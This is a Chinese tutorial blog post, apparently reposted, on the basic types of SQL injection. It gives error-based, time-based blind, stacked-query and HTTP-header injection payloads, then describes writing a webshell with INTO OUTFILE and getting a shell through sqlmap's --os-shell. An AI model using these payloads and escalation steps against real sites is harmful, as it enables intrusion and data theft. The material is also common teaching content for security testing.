标签:位置 rom 基础 开始 结合 图片 判断 column alt
这里只讲解sql注入漏洞的基本类型,代码分析将放在另外一篇帖子讲解
and updatexml(1,concat(0x7e,(select database()),0x7e),1)
and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a)
if (length(database())>1,sleep(5),1)
就是说如果数据库长度大于1,那么响应延时5秒,否则执行select 1(也就是不延时),由此来推出数据库长度。
if(substr(database(),1,1)=‘s‘,sleep(5),1)
if(substr(database(),2,1)=‘s‘,sleep(5),1)
只有第一个字母等于26个字母中正确的字母时,才会延时5秒,因此可以通过burp或者sqlmap来跑。
;select if(length(database())>1,sleep(3),1) ;select if(substr(database(),1,1)=‘r‘,sleep(3),1)
【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】
XFF注入即HTTP头部的X-Forwarded-for参数存在sql注入;
例如测试此参数的值 X-Forwarded-for:127.0.0.1‘ 响应有sql报错,那么此处就是注入点;
如果通过一些方式爆出了网站的根目录,并且知道此站点存在sql注入;
猜测此数据库可能有file权限,那么我们就可以使用语句:into outfile 来写shell到网站的根目录下,之后用菜刀连接;
如果数据库没有file权限,那么我们用sqlmap的参数 --is-dba 来查看当前数据库的用户是否有管理员权限;
如果有管理员权限,我们就可以使用sqlmap里面的参数命令 --os-shell 来上传、反弹shell,最终getshell;
如果file、管理员权限都没有,那么另寻思路,日志、缓存写入等。
简单的介绍了大致遇到的sql注入存在的类型,但是实际情况下可能会遇到更奇葩的sql注入利用方法,但是掌握了这些基本的sql注入之后,对后面sql注入的进阶会更有帮助;之后还会介绍sql注入常用到的绕过技术。
标签:位置 rom 基础 开始 结合 图片 判断 column alt
原文地址:https://www.cnblogs.com/-chenxs/p/11614129.html